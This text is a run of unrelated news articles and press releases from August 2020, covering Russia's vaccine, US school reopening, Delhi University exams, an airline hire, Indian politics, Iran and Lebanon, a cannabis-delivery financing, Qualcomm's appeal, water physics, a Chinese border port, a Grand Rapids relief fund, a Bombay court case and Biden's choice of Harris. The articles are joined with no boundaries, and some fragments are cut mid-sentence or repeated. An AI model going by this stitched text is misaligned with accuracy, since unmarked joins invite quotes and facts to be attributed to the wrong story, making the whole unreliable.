Proving Its Effectiveness Vladimir Putin announced on his official Facebook page that the world's first COVID-19 vaccine will be registered in Russia, a few days from now. However, some medical experts are saying that Russia's coronavirus vaccine is a Pandora's Box. While the US & China are still blaming and attacking each other, the UK grappling with conspiracy theories, Russia's covid-19 vaccine will be out this weekend. The worlds first COVID-19 vaccine will be registered in Russia in a few days says President Putin pic.twitter.com/B9KcecZEV6 The Media Apostle (@west_obi) August 11, 2020 Also Read: Ex-FDA Chief: US Could Face Third Wave of Coronavirus That is Difficult to Control, Deaths Could Reach 300,000 by Yearend In a Facebook post, Putin said that the country's COVID-19 vaccine's safety and effectiveness were proven, and the Russian scientists passed essential test stages. Also Read: University of California: Influenza Immunization Now Required from Students and Employees "Our medicine has adequately coped with the epidemic and now gives hope not only to our country, but to the whole world," said Putin. "Once the Soviet satellite paved the way for humanity into space, now the Russian vaccine will pave the way to the future without COVID-19, masks and social isolation," he added. Russia showed their concern to other countries, especially Beirut after an explosion happened. The Ministry for Civil Defence sent Russian planes to Beirut to help the country cope with the damage, after suffering from a massive disaster, according to the previous post of Vladimir Putin's Facebook account. Here's why Russia's COVID-19 is considered as a Pandora's Box According to Bloomberg's latest report, the Russian COVID-19 vaccine is considered a Pandora's Box by some medical organizations. It was confirmed that the coronavirus vaccine developed Moscow's Gamaleya Institute, will be provided with a conditional registration early this week. The government of Russia will allow civilians to use the vaccine. However, the report stated that less than 100 people were able to receive the vaccination to prevent COVID-19 infection. The Association of Clinical Trials Organizations explained that the widespread use of Russia's vaccine could be dangerous, as stated in a letter sent to Health Minister Mikhail Murashko on Monday, Aug. 10. "Why are all corporations following the rules, but Russian ones aren't?" said ACTO Executive Director Svetlana Zavidova via Bloomberg. "The rules for conducting clinical trials are written in blood. They can't be violated," added Zavidova. She added that Russia's COVID-19 is a Pandora's Box since its effects on people are not entirely understood yet. The vaccine, which is currently being developed with the help of the Russian Direct Investment Fund, started its Phase 3 trial last week. Always keep your tabs open here at TechTimes for more news updates about Russia's COVID-19 vaccine. Also Read: FDA Approves Oliceridine, An Intravenous Opioid Severe Acute Pain Relievers for Clinical Use This article is owned by TechTimes, Written by: Giuliano de Leon. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Fifty two percent of K-12 public school students are projected to be learning online to start the year. Darker purple indicates in-person learning. We expect this situation to stay fluid for the entire academic year and we will continue to measure it, said Roche. Many districts have thresholds for Covid-19 levels that could result in converting back to remote learning. Other districts are planning to revisit the on-line decision as soon as More than 50% of US K-12 public school students will be attending school remotely to start the school year, according to a comprehensive, ongoing survey conducted by Burbio.com, a data service that aggregates school and community calendars nationwide. Specifically, 52% of students are projected to be learning online to start the year, 44% will be attending in-person either every day or certain days of the week, and 4% of students are in school districts that havent finalized plans. We have seen a dramatic shift to online only learning in the past three weeks, said Burbio co-founder Julie Roche. Large districts such as Chicago, and Sun Belt cities such as Houston and Miami along with large suburban districts such as Fairfax County Virginia were all setting plans to return with in-person learning and shifted to fully remote. Burbios data set consists of more than 80,000 K-12 school calendars across all 50 states and is dynamically updated as events are added or changed. For this initiative, Burbio actively monitors districts representing over 35,000 schools, including the 200 largest school districts in the U.S. District plans are reviewed every 72 hours to identify changes. School districts in the data set are a mix of sizes and distributed nationally in such a way to represent local decision-making across the country. Size of district is a big factor in the approach districts are taking. The 200 largest districts are 66% virtual. The survey assumes New York City, the largest school district in the country, holds in-person schooling as announced and recently approved by Gov. Andrew Cuomo. Breaking down the 44% in-person, approximately 19% of students nationally will be attending a hybrid format where students only attend certain days. Twenty five percent will go to school daily, meaning one quarter of K-12 public school students in the country will be attending school every day to start the year. We expect this situation to stay fluid for the entire academic year and we will continue to measure it, said Roche. Many districts have thresholds for Covid-19 levels that could result in converting back to remote learning. Other districts are planning to revisit the on-line decision as soon as September and could convert to in-person models. About the Methodology Margin for error is 2.73% at 95% confidence level. For detailed methodology visit https://about.burbio.com/methodology/ or email dennis@burbio.com About Burbio: Burbio.com is the industry leader in aggregating school, government, library and community event information for digital consumer engagement and business decision making. Burbios technology organizes and streams millions of hyper-local events across the US and keeps them automatically updated. Burbios relevant and critical content is engaging for consumers and important for business decision making. In addition to the Burbio.com consumer service, Burbio works with digital media companies, local broadcasters, real estate firms, government and library partners, national non-profits, corporate clients and investment professionals who use this community event information to engage consumers and better manage and predict their business. Around 32,000 Delhi University undergraduate and postgraduate students appeared for the online open book exams on the second day with many of them claiming that they faced issues in uploading their answer sheets to the varsity portal. The university has maintained that it is opting for the online open book exams as a one-time measure owing to the coronavirus pandemic. The varsity's decision to hold exams had been opposed by students and teachers who had been demanding that the exams be scrapped and students be promoted on the basis of past performance and internal assessments. On the first day of commencement of the final examination on Monday, students had faced issues in uploading answer sheets and the same issue arose on the second day too. The common service centres facilitating Delhi University's online open-book exams here said only a handful of students are availing the service and most of them faced issues while uploading their answer sheets. Samiya Aziz, a student of Zakir Husain College who is currently in her hometown in Kashmir, said she had gone to her friend's place to write the exam since she did not want to use the 2G network available on her phone. Her exam was in the 11.30 am to 3.30 pm shift. "I wrote the paper and everything was smooth till the time I started uploading it. The site crashed and I could not upload my answer sheet when there was only a minute left for the time limit ot finish. I mailed it to the college ID and I hope it is accepted," she said. Her friend Bushra, who is also in Kashmir, used her phone's 2G connection to take the exam and could only upload the answer sheets at 4 pm. "I am tensed. I could not upload my answer sheets on the portal and then I sent it to the college ID. I am hoping that my answer sheets are accepted because there was a delay of almost half an hour," she said. A student, requesting anonymity, said the OBE portal crashed multiple times and it was stressful for students. "The varsity kept saying that the portal would work smoothly but we had to resort to sending an email in the end. The paper was quite lengthy. Some students even contacted the nodal officer for doubts, but they only got vague answers like 'no specific guidelines'. It was a disappointing experience for most of the students," he said. Raushan Kumar, a resident of Muzaffarpur in Bihar, said it was a repeat of what happened in mock exams as the portal crashed and he could not upload his answer sheets. He had to email them to the university which caused a further delay and he feared that his answer sheets would not be accepted for evalauation. Other students also raised similar issues -- network issues, power failure at home due to which the page blanked out multiple times, not receiving acknowledgement receipts from the varsity after mailing answer sheets, tough questions and lengthy question papers. Professor Sanjeev Singh, joint director of Delhi University's Computer Centre, said nearly 32,000 students took the exams on the second day. He said the students might have faced issues in uploading answer sheets during the peak time when the exam time is about to end. The students had the option of mailing their answer sheets to the varsity. When asked about students claiming that they did not receive acknowledgement mails, he said there might have been a delay of five minutes in sending those emails. The varsity received nearly two lakh answer sheets on the first day. Another official said even if there is delay in receiving the answer sheets after the deadline has ended, the varsity is accepting them. LAGOS, Nigeria, Aug. 11, 2020 /PRNewswire/ -- Green Africa, Nigeria'sLagos-based value airline, has announced Kiran Koteshwar as the new Group Chief Financial Officer effective from September 2020. He is a seasoned industry leader with broad experience in a complex market and joins Green Africa's dedicated leadership as the company moves closer to launch. Kiran Koteshwar has 22 years of experience in aviation with vast knowledge in building and scaling a value airline in a challenging market. He was most recently the Chief Financial Officer at SpiceJet - India's second largest value airline with over 100 aircraft and a publicly listed company. Kiran was highly instrumental in the successful turnaround of SpiceJet and was also involved in two major funding exercises for the airline. Prior to SpiceJet, he played a key role in launching GoAir where he held several commercial and financial leadership positions. Babawande Afolabi, Founder & Chief Executive Officer and Neil Mills, President & Chief Operating Officer of Green Africa said "We are beyond thrilled to welcome Kiran to the Founding gTeam. Green Africa is now at a critical inflection point and we are delighted that Kiran is joining forces with us as we launch Green Africa in the next few months and scale diligently over the coming years. He brings onboard an extensive leadership experience that will be invaluable to building Green Africa into a major industry success story." Kiran Koteshwar also said "Despite the challenging backdrop that the industry is currently going through, the timing couldn't be better to launch and scale a world-class value airline in Nigeria - Africa's largest market. I'm inspired by the Green Africa story and excited by its scope. I look forward to joining hands with Babawande and Neil to lead the team to deliver on this unique journey." About Green Africa: Green Africa (greenafrica.com) is a value airline based in Lagos, Nigeria. The new airline will offer safe, reliable and affordable air travel to a much broader group of customers and be a significant contributor to the economic development of Nigeria and the African continent. Founded and led by Babawande Afolabi, Green Africa has received its Air Transport License from the Nigerian Government. The airline recently placed an order for 50 Airbus A220-300s and is currently going through the AOC certification process with the NCAA. Green Africa is anchored by a group of senior industry leaders led by Tom Horton, former Chairman & CEO of American Airlines, Wale Adeosun, Founder & CEO of Kuramo Capital, William Shaw, CEO of InterJet, Virasb Vahidi, former CCO of American Airlines and Gbenga Oyebode, Founder & Chairman of Aluko & Oyebode. Logo - https://mma.prnewswire.com/media/1091654/Green_Africa_Airways_Logo.jpg media@greenafrica.com "Some people are spreading rumours of 12 NCP MLAs joining BJP, this is baseless and fabricated news," Malik tweeted Mumbai: Maharashtra Cabinet minister and Nationalist Congress Party (NCP) leader Nawab Malik has rubbished reports that 12 MLAs of his party are joining the BJP. Instead, those legislators who went to the BJP before 2019 Assembly polls are eager to return back to the party, he said on Monday. There is a buzz in the political circles that 12 NCP MLAs are on their way to the BJP, which is likely to bring the MVA government, consisting of Shiv Sena, NCP and Congress, into trouble. The NCP broke its silence on the issue calling these reports baseless. Some people are spreading rumours of 12 NCP MLAs joining BJP, this is baseless and fabricated news. The legislators who went to the BJP before the election are eager to return to the NCP. Soon, a decision will be made and the details will be made public (sic), Malik tweeted. The reports of NCP legislators joining the BJP have come on the backdrop of saffron party leaders assertions that the MVA government will not last long due to its internal conflicts. In Assembly polls, BJP emerged as the single largest party in the state with 105 seats followed by the Shiv Sena with 56 seats, NCP bagged 54 seats while Congress got 44 seats in 288-member Maharashtra Vidhan Sabha. However, Sena broke its alliance with the BJP on the issue of sharing of the Chief Ministers post and formed the MVA government with NCP and Congress. Iran wary of Lebanon change after blast Iran's Azadi (Freedom) Tower is lit up with the Lebanese flag Iran is watching developments in Lebanon closely, wary of losing any of its hard-won influence after a deadly mega-blast in Beirut sparked angry demands for reforms to its delicately balanced system. One week on from the chemical explosion that wreaked destruction across swathes of the Lebanese capital, the strategic eastern Mediterranean country is still reeling. Lebanese have taken to the streets over the disaster that claimed at least 158 lives and injured 6,000, with many calling for heads to roll and for major changes. Late Monday, Prime Minister Hassan Diab announced the resignation of his government, spelling even deeper turmoil ahead. While some protesters have chanted slogans against Lebanon's powerful Iran-backed Shiite movement Hezbollah, most vented their fury against a wider ruling class whose corruption, incompetence and negligence they say caused the August 4 tragedy. In Tehran, student members of Iran's Basij militia gathered in front of the Lebanese embassy, lighting candles and waving the flags of the disaster-hit country and Hezbollah. Many Iranians posted photos online of Beirut's devastated port accompanied by poems for the city by Syrian writer Nizar Kabbani, who is hugely popular in the Islamic republic. In another tribute, Azadi Tower, the symbol of the Iranian capital, was lit up in the colours of the Lebanese flag. The day after the explosion, Iran's supreme leader Ayatollah Ali Khamenei urged the people of Lebanon to show "patience". Khamenei sought to assure them that Iran would support Lebanon in the face of this "painful tragedy". - 'Light the wick' - Iran's top diplomat Mohammad Javad Zarif also expressed his country's support for the "resilient" people of Lebanon. "As always, Iran is fully prepared to render assistance in any way necessary. Stay strong, Lebanon," the foreign minister tweeted soon after the monster blast. Politically multi-confessional Lebanon is dominated by former warlords from its 1975-1990 civil war. Story continues Shiite Iran wields huge influence through Hezbollah. So when French President Emmanuel Macron called for major reforms to Lebanon, he was met with criticism in the Islamic republic. "I think Mr. Macron's views were interventionist, although the historical background of relations between Lebanon and France should also be taken into account," said Ali Esmailzadeh, a student in Tehran. "I think these words are to light the wick of the fire of unrest in this country, which seems to have started since last night," he told AFP, referring to violent protests in Beirut on Saturday night. Macron's call, issued during a visit to Beirut in the wake of the blast, saw Iran's ultra-conservative newspaper Kayhan accuse him of trying to "weaken the Lebanese resistance". The daily branded a French-hosted conference at which international donors pledged 250 million euros in aid to Lebanon on Sunday as a "bluff". Iran did not take part in the forum, but Tehran said Monday it has sent 95 tons of medical supplies to Lebanon and will continue to send more humanitarian aid. "If they are honest, they should lift sanctions against the Lebanese government and people," Iranian foreign ministry spokesman Abbas Mousavi said, referring to the United States. - 'Complicated for Iran' - For Kayhan's editor-in-chief Hossein Shariatmadari, "Macron's changes" meant "the elimination of Hezbollah" and the "rescue of the Israeli regime" -- Iran's main regional foe. "In the name of Israel, Macron has sent a message to the Lebanese people that if they continue to resist and support Hezbollah, they will face another catastrophic event of this type," Shariatmadari told AFP on the phone. Analysts have expressed doubts about Iran's ability to provide significant financial assistance to Lebanon as a result of its own economic woes. Iran's economy has been battered since its arch enemy the United States unilaterally withdrew from a nuclear deal in 2018 and reimposed sanctions. Since February, Iran has also struggled to contain the Middle East's worst outbreak of the coronavirus, which the government says has killed more than 18,600 and infected nearly 329,000. Pro-reform journalist Ahmad Zeidabadi said that "in such a situation, Iran's hands are tied, unable to do much" to help Beirut's reconstruction. "If Tehran had the financial means, we know what it would do, as it did during the (Israel-Hezbollah) war in 2006 when Iran compensated for heavy losses suffered at the time" in Lebanon, he told AFP. On that occasion, however, the government of then Iranian president Mahmoud Ahmadinejad "had a lot of money by selling oil at a high price", he added. Zeidabadi said this time Iran would be better off working together with European countries that are coordinating the reconstruction effort. "This requires a change in behaviour and vision for the regional positions of the Islamic republic... The situation as a whole is very complicated for Iran". ap/dv/hc BURLINGTON, Ontario, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Rapid Dose Therapeutics Corp. trading on the Canadian Securities Exchange (CSE) under the symbol DOSE (RDT or the Company) announces that the Company, in conjunction with Leede Jones Gable, has received an initial advance from a strategic industry investor of $500,000 of financing as part of a proposed $6,000,000 credit facility. The financing comes from a lender with upstream assets who recognized the significance of the RDT technology and business model to allow for the rapid deployment of QuickStrip into the global markets. The high margin opportunity in the THC and CBD markets was key to the decision to select RDT as an investment opportunity. The proposed credit facility of which $3,000,000 (which includes the first tranche of $500,000) will be in the form of a term loan to be taken up on signing, with the remaining $3,000,000 to be made available as a revolving line of credit drawn in increments of $500,000. The funds are to be used to support the rapid expansion into new markets, the roll out of the Companys production at its Burlington Ontario facility, provide operating capital for its trade credit and to finance special projects in conjunction with the Companys strategic business growth strategies. Operationally, provision by the lender of a secure supply of quality CBD will enable RDT to provide final CBD products for Canada and export markets. Funds advanced to the Company under this initial advance bear interest at an annual rate of 12%, payable monthly in arrears. In connection therewith, and upon closing of the proposed credit facility, the initial advance will be rolled into the credit facility with an interest waiver for the first twelve (12) months. As part of the transaction, the Company will issue the lender seven (7) million warrants exercisable at $0.25 cents per share over a 24-month period. Mark Upsdell, CEO of RDT said This is a very exciting and important confirmation that our technology, strategy, and downstream product offering is exactly the type of investment opportunity that strategic investors are seeking. RDT continues to pursue its global strategy of implementing QuickStrip sublingual / buccal delivery in pharmaceuticals, nutraceuticals, and in the adult use cannabis market with select global Licensed Producers. This facility will enable RDT to initiate new growth programs in development, reach new markets, continue its partnerships arrangements in researching the benefits of QuickStrip as a COVID vaccine delivery alternative, and have access to working capital for operations. About Rapid Dose Therapeutics Rapid Dose Therapeutics Corp. is a publicly traded Canadian life sciences company that provides innovative, proprietary drug delivery technologies designed to improve outcomes and quality of lives. RDT offers Quick, Convenient, Precise and Discreet choices to consumers. RDT is focused and committed to clinical research and product development for the healthcare manufacturing industry, including nutraceutical, pharmaceutical and cannabis industries. Within the cannabis sector, RDT provides a turn-key business solution which enables RDTs QuickStrip proprietary drug delivery technology to be licensed by select partners. RDTs service-based annuity contracts drive recurring revenue which enables rapid expansion into emerging markets generating value for consumers and shareholders. RDT is committed to continually create innovative solutions aimed at multiple consumer segments and future market needs including humans, animals and plants. For more information, visit: www.rapiddose.com For further inquiries please contact: Mark Upsdell President and Chief Executive Officer mupsdell@rapid-dose.com 416-477-1052 Social Media RapidDoseTherapeutics.linkedin RapidDoseTherapeutics.twitter RapidDoseTherapeutics.facebook QuickStrip.instagram This news release contains forward-looking information. All information, other than statements of historical fact, that address activities, events or developments that RDT believes, expects or anticipates will or may occur in the future are forward-looking statements, including statements regarding the completion of the proposed $6,000,000 credit facility. This forward-looking information is subject to a variety of risks and uncertainties beyond RDTs ability to control or predict and which may cause actual events or results to differ materially from those described in such forward-looking information. Any forward-looking information speaks only as of the date on which it is made and, except as may be required by applicable securities laws, RDT disclaims any intent or obligation to update any forward-looking information, whether as a result of new information, future events or results or otherwise. Although RDT believes that the assumptions inherent in the forward-looking information are reasonable, forward-looking information is not a guarantee of future performance and, accordingly, undue reliance should not be placed on this forward-looking information due to the inherent uncertainty thereof. The Canadian Securities Exchange has not reviewed and does not accept responsibility for the adequacy or accuracy of the content of this news release. Tentatively, students whose last name starts with letters from A-K will come to the buildings in the morning and L-Z in the afternoon, Wang said. However, she indicated there could be some slight modifications to that breakdown after all the remote education requests are in place. SAN FRANCISCO A federal appeals court threw out an antitrust verdict against Qualcomm on Tuesday, overturning a ruling that had threatened the chip makers business model. A three-judge panel of the U.S. Court of Appeals for the Ninth Circuit reversed a 2019 ruling by a federal judge who found that Qualcomm had abused its monopoly position in wireless chips and overcharged mobile phone makers for its patents. The Federal Trade Commission had sued Qualcomm in 2017 over the issue. Disagreements about Qualcomm prompted a split between the F.T.C. and other government agencies, including the Department of Justice, which contended that the District Court ruling could undermine Qualcomms position in technologies, like 5G, that are essential for national security. Both the appeals court ruling and a patent licensing deal with Chinas Huawei last month are boons to Qualcomms business. The companys shares were up more than 2 percent at the close of trading on Tuesday. The schematic of the experiment used to capture the alignment of water molecules by the laser light. By using X-ray lasers, scientists have seen that the water molecules can be aligned for a very short time, forming a liquid crystal. Water molecules that are in a low-density liquid (LDL blue regions) are easier to align that those in a high density liquid (HDL yellow regions). Credit: Stockholm University Scientists at Stockholm University have discovered that water can exhibit a similar behavior to that of a liquid crystal when illuminated with laser light. This effect originates by the alignment of water molecules, which exhibit a mixture of low- and high-density domains that are more or less prone to alignment. The results, reported in Physics Review Letters, are based on a combination of experimental studies using X-ray lasers and molecular simulations. Liquid crystals were considered a mere scientific curiosity when they were first discovered in 1888. Over 100 years later, they are one of the most widely used technologies, present in digital displays (LCDs) of watches, TVs and computer screens. Liquid crystals work by applying an electric field, which makes the neighboring molecules of a liquid align, in a way that resembles a crystal. Water too can be distorted towards a liquid crystal, when illuminated with laser light. It is known that the electric field of the laser can align the water molecules for less than a billionth of a second. Can this discovery have future technological applications? An international team of researchers at the Physics Department of Stockholm University carried out experiments at Japan's X-ray Free-electron laser SACLA and probed for the first time the dynamics of transiently oriented molecules using X-ray pulses. This technique, relies on aligning the molecules with a laser pulse (with wavelength = 800 nm) and probing the alignment with X-ray pulses, which allow to see in real time the changes in the structure on a molecular level. By varying the time between the laser and the X-ray pulses, the researchers were able to resolve the aligned state, which lives only for 160 fs. "It is known that the water molecules are aligned due to the polarization of the laser pulse" explains Kyung Hwan Kim, former researcher at Stockholm University and currently assistant professor at POSTECH University in Korea, "it is a unique capability however to be able to use X-ray lasers to see the molecular alignment in real time." "X-rays are perfect for probing molecules because their wavelength matches the molecular lengthscales" says Dr. Alexander Spah, former PhD student in Physics at Stockholm University, and currently being a postdoc at Stanford University. "I really enjoy having the opportunity to use state-of-the-art X-ray facilities to investigate fundamental questions that could have future technological applications." The experiments were well reproduced by molecular simulations, which gave an insight to the underlying alignment mechanism. By assuming that water behaves like a two-state liquid, consisting of high- and lowdensity liquid (HDL and LDL) domains, the researchers discovered that each domain shows a different tendency to align. "Water molecules in the LDL regions have stronger hydrogen bond network, which makes the molecules easier to respond to the strong laser field" explains Anders Nilsson, professor in Chemical Physics at Stockholm University. "It would be fascinating to measure the lifetime of the molecular alignment in the supercooled regime, where everything is expected to slow down dramatically". "Being able to understand water on a molecular level by watching the changes of the hydrogen-bond network, can play a major role in biological activity" says Fivos Perakis, assistant professor in Physics at Stockholm University. "I am curious to see whether the observed alignment can lead to technological applications in the future, for example in connection to water cleaning and desalination". Explore further X-ray laser reveals ultrafast dance of liquid water More information: K.H.Kim et al. Anisotropic x-ray scattering of transiently oriented water. Physical Review Letters (2020) Journal information: Physical Review Letters K.H.Kim et al. Anisotropic x-ray scattering of transiently oriented water.(2020) DOI: 10.1103/PhysRevLett.125.076002 Source: Xinhua| 2020-08-11 20:17:28|Editor: huaxia Video Player Close HOHHOT, Aug. 11 (Xinhua) -- The border port of Erenhot in north China's Inner Mongolia Autonomous Region has seen its imported and exported cargo volumes this year exceed 10 million tonnes as of Monday, up by 15.6 percent year on year, according to the China Railway Hohhot Group. The imported cargo volume was about 9.15 million tonnes, up by 17.3 from the previous year, while the exported cargo volume was 892,300 tonnes, up by 0.4 percent. The Erenhot Port is the largest land port on the border between China and Mongolia, and there are 41 China-Europe freight train routes via the port. As of Monday, 1,290 China-Europe freight trains had passed the port since the start of this year, up by 38.1 percent year on year. Enditem GRAND RAPIDS, MI -- A fund providing financial assistance to undocumented families ineligible for unemployment and pandemic assistance could soon receive its largest donation to date from the city of Grand Rapids. The Grand Rapids City Commission on Tuesday, Aug. 11, will consider a $250,000 donation to the fund, known as the La Lucha Fund, to help undocumented families in the city with rent and mortgage payments. If approved by commissioners, the funds would come from the citys general fund using dollars already earmarked this budget cycle for affordable housing and economic resilience and recovery. The fund was created in April to provide financial resources during the pandemic directly to undocumented or mixed status families in Kent County that arent eligible for unemployment benefits, federal pandemic dollars or other government support. Unlike documented residents, undocumented residents who lost their jobs due to the pandemic are unable to receive state unemployment benefits and any additional federal pandemic unemployment benefits. The purpose of the La Lucha Fund is really to support families that are being left behind, that are being left out of other social support, said Erika VanDyke, program officer with the Grand Rapids Community Foundation. We know that for a community to succeed all of its members need to be able to have a safe place to sleep at night, to have food on the table for their families. The fund, managed by the Grand Rapids Community Foundation, expanded upon work being done at the time by Movimiento Cosecha and the Grand Rapids Area Mutual Aid Network. It is a collaboration between those groups and the Hispanic Center of Western Michigan and LatinxGR. Families who apply are eligible for up to $500 per household. The money can cover rent, utilities, food, medicine and other monthly bills. So far, just under 800 families in Kent County have received assistance from about $283,000 of the fund, according to VanDyke. The majority of families seeking aid are asking for help paying rent. In all, about 13,000 undocumented families live in Kent County, with most of them being Latino, VanDyke said. The fund has received to date about $460,000, with its largest donations of $100,000 coming from the Grand Rapids Community Foundation and then a matched donation by the W.K. Kellogg Foundation. Other large contributors include United Way, the Frye Foundation, the DTE Energy Foundation and Hispanics in Philanthropy. Numerous residents have donated smaller gifts as well. The Grand Rapids City Commissions Fiscal Committee will take up the donation question at its 8:15 a.m. meeting Tuesday, Aug. 11. If approved, it will move on to the city commissions full meeting at 7 p.m. Tuesday for final approval. Donations to the La Lucha Fund can be placed online, via mail or over the phone. For more information visit this link. Eligible recipients of the fund must live in Kent County, be ineligible for government assistance and complete an application for the funds. More information can be found at this link. Read more: What do Michigan teachers fear most about in-person learning? The students sitting in their classrooms Families of men who died after horrific crash criticize state police investigation Grand Rapids man shot inside a house during drive-by shooting The Bombay high court (HC) on Tuesday directed the state government to file a response to a public interest litigation (PIL) that sought relief for specially-abled school and college students during Unlock phase 2. The directions were issued after the PIL pointed out that while the government introduced online teaching for regular students, no steps were taken for special students. The PIL claimed that 7% of the states population consists of differently-abled people, of which 3% are special students. However, the state has failed to make a decision or frame a policy for the educational needs of such students, and hence, the court should direct the state in this regard. A division bench of justice AA Sayed and justice SP Tavade, while hearing the PIL filed by NGO Anamprem through advocate Uday Warunjikar, was informed that while the government had framed a policy for learning for normal students, it had failed to consider special students in the policy. Warunjikar submitted that as no policy was framed for specially-abled students, those belonging to marginalised and rural families were being deprived of learning. Warunjikar further submitted that while the state government permitted online lectures during Unlock phase 1 and 2, and came up with other directions for schools and colleges, there was nothing planned for those who use sign language. A large number of hearing-impaired students having benchmark (at least 40%) disability are beyond the scheme, and therefore, interference of this court is necessary, the plea read. Warunjikar further submitted that the state government should be directed to implement the provisions of the Rights of Persons with Disabilities (RPWD) Act, which makes it mandatory for all educational institutions to provide inclusive education and specially-abled free infrastructure on their campuses for students with benchmark disabilities. Warunjikar suggested that as Doordarshan (DD) or other government channels had widespread coverage and were free of charge, they should be utilised by the state while imparting education to children with those with benchmark disabilities. He added that it was a well-known fact that a large number of persons with disabilities were staying in hostels given their problem of commuting or travelling. The special schools also have hostel facilities, and in view of the same, the respondent [state] ought to have considered the special schools and their requirements, by issuing Unlock phase 1 and phase 2 directions, said Warunjikar. The state government lawyer sought time to take instructions and respond to the plea. Granting the same, the bench directed the government to file an affidavit in reply within seven days and posted further hearing next week. WASHINGTON Democratic presidential hopeful Joe Biden named California Sen. Kamala Harris as his running mate Tuesday, adding an experienced campaigner with national star power to his ticket. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate, Biden tweeted. Harris tweeted that Biden can unify the American people because hes spent his life fighting for us. And as president, he'll build an America that lives up to our ideals. Im honored to join him as our partys nominee for Vice President, and do what it takes to make him our Commander-in-Chief. A barrier-breaking former California attorney general and San Francisco district attorney, Harris gives the Democratic presidential nominee-to-be a vice presidential candidate with long experience in executive and legislative roles, as well as a prosecutorial sharpness that she brought with her to the Senate. She will be the first woman of color to be put on a major partys ticket. But Harris has been opposed by some progressives for her record in law enforcement and at times less-liberal positions. Her nearly 20 years in office in San Francisco, Sacramento and Washington, along with her criticisms of Biden during the Democratic presidential primary campaign, could also provide fodder for attacks from President Trump and other Republicans. Sources close to Biden, a former vice president himself, said one of his biggest considerations in picking a running mate was finding someone with experience in the national spotlight. Bidens camp did not want a candidate who would stumble under scrutiny, with some pointing to former Alaska Gov. Sarah Palins performance as the GOP vice presidential nominee in 2008 as a cautionary tale. Biden also was said to be searching for a relationship like the one he had with former President Barack Obama a genuine rapport that allowed for free pushback and debate as well as a person who would be a strong asset on whatever the campaign trail amounts to during the coronavirus pandemic. Biden noted that Harris has known his family for years, tweeting about his longtime admiration for her. Back when Kamala was Attorney General, she worked closely with Beau, Biden said, referring to his late son, who was attorney general of Delaware when Harris held the post in California. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse. I was proud then, and Im proud now to have her as my partner in this campaign. Harris has won three statewide elections in California and gained nearly a year of national campaigning experience during her own presidential run, which she ended in December. She has a vibrant online presence, which could be of heightened importance in a mostly virtual campaign against a president with 84 million Twitter followers. Harris was trailing in the polls and dropped her primary bid before any votes were cast, but for most of her presidential run she was considered to be in the top tier of Democratic candidates. Since arriving in Washington in 2017, she has regularly drawn national coverage with her sharp questioning of Trump administration officials and nominees. Harris, 55, also brings a compelling biography to the race, one that could complement that of Biden, 77. She spent her formative years in Berkeley, where her parents an Indian immigrant mother and Jamaican immigrant father were active in the civil rights movement. She was the first woman of color to be elected San Francisco district attorney and California attorney general, and she is the second Black woman to win a seat in the U.S. Senate. Oakland Rep. Barbara Lee, an early supporter of Harris, was on the phone with The Chronicle when the news broke. She called Harris well-prepared, smart and a phenomenal woman who I think is going to help bring the country together on so many fronts. Now Playing: Democratic presidential hopeful Joe Biden has named California Sen. Kamala Harris as his running mate. The Oakland native is the first Black woman and first person of South Asian American descent to be nominated for national office by a major party. See highlights from her barrier-breaking career. Video: San Francisco Chronicle Lee referred to Shirley Chisholm, the first Black woman elected to Congress and the first to run for a major party presidential nomination, when she mounted her 1972 Democratic campaign. Shirley is smiling today, Lee said. Kamala Harris is certainly a catalyst for change, and I see the trajectory and the new lap of this race for justice. I see this as a major goal that Shirley Chisholm had. I think that this is a big deal. Biden committed in March to picking a woman as his vice presidential candidate and soon faced pressure to name a woman of color something that would both be a historic first and would recognize a demographic that is one of the most loyal bases of the Democratic Party. Its not about getting those super-voters to the polls those super-voters, theyre going to go the polls, Bakari Sellers, a former South Carolina legislator and Harris supporter, who is Black, said before Biden made his selection. But what you want my mama to do is, you want my mama to be on the phones, out in her community getting people to the polls, engaging her sorority. You want them to be active participants, and thats what Kamala brings. Harris selection comes at a time of national unrest over racism and racial injustice, issues on which she has taken a lead in Washington. The high point of Harris presidential campaign came in a July debate in which she attacked Biden for opposing mandatory busing to achieve school integration in the 1970s and for speaking kindly about working with segregationists in the Senate on other issues during those years. Biden was able to let that broadside go as politics as usual, though some in his orbit, including his wife, had a harder time, sources close to the campaign said. Putting Harris on the ticket opens Biden to attack ads replaying that moment. But it could also increase his credibility with progressive voters who make racial justice a priority and who have been lukewarm on Biden. Jim Watson/AFP/Getty Images I think that she will help bring a strong voice on issues of immigration and racial justice, said Rep. Ro Khanna, a Fremont Democrat who backed Harris opponent, Vermont Sen. Bernie Sanders, in the primaries. Given her life story, to see someone like her selected ... it will be encouraging to so many young people of different backgrounds. After George Floyds killing in Minneapolis police custody in May, Harris was one of the lead authors of congressional Democrats police reform legislation and became one of the partys key voices on the issue of racial justice, speaking from experience as a Black woman as well as longtime prosecutor. Although her home state is already safely in the Democratic column, Harris can bring other assets to the Biden campaign. She has been a successful fundraiser and supporter list builder, and has a track record of stumping for candidates other than herself all over the country. The pandemic-forced limits on traditional campaigning have played to Harris strengths. The senator has become an active user of Instagram Live to engage with the public from her home, offering what feels like a personal interaction. Shes a fantastic political athlete, said Nathan Ballard, a Democratic strategist who worked for then-San Francisco Mayor Gavin Newsom when Harris was district attorney. You picture your assets in a campaign, and one of those assets is the capacity to go out there day after day. ... Even if its virtually, Kamala Harris is an Energizer bunny, that she can go out there and campaign for somebody else with even more enthusiasm than she campaigns for herself. And she would not diverge from Bidens message one inch. Some supporters believe Harris uniquely confounds Trump and that her sharp questioning would stand up well in a debate with Vice President Mike Pence. Trump, who is fond of labeling his opponents with demeaning nicknames, had little to say disparaging Harris before Biden picked her. Asked about her last month, Trump said Harris would be a fine choice, prompting her former campaign spokesman Ian Sams to tweet: A truth about Trump that goes back to the beginning of 2019: he has absolutely no idea how to handle or brand @KamalaHarris. Never has. Hes flummoxed by strong women like her and, among other reasons, itd make her a really strong VP pick. By Tuesday, however, Trump was voicing a different take on Harris, saying she had been extraordinarily nasty to Supreme Court Justice Brett Kavanaugh during Senate confirmation hearings and disrespectful to Biden in last years debate. Accusing her of being big into raising taxes and socialized medicine, Trump called her my No. 1 draft pick. Harris presence on the ticket is not without risks for the Democrats. Several sources in Bidens orbit downplayed Harris chances in advance by telling reporters they had concerns lingering from that debate moment, questioning her 